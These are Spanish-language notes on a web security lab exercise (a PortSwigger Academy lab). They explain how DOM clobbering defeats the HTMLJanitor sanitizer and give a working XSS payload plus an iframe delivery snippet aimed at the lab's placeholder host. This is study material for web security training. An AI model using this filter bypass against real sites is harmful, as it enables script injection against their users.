7 - Clobbering DOM attributes to bypass HTML filters

https://www.youtube.com/watch?v=vgBAUvPJnT8

Si nos vamos al código de htmlJanitor.js vemos que se permite crear un form con id, por el contrario no nos deja meterle atributos, excepto el id.
El for itera sobre los atributos, los atributos permitidos son :

let janitor = new HTMLJanitor({tags: {input:{name:true,type:true,value:true},form:{id:true},i:{},b:{},p:{}}});

// Sanitize attributes
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // Shift the array to continue looping.
          a = a - 1;
        }
      }
<form id=x tabindex=0 onfocus=print()><input id=attributes>

La vulnerabilidad : Cuando el script accede a .attributes del objeto x realmente está accediendo a input y no está eliminando los atributos tabindex=0 onfocus=print()

Si cargamos la url del post y esperamos 500 ms , podemos modificar la url para que ponga foco en el elemento x y ejecute el print()

<iframe src=https://YOUR-LAB-ID.web-security-academy.net/post?postId=3 onload="setTimeout(()=>this.src=this.src+'#x',500)">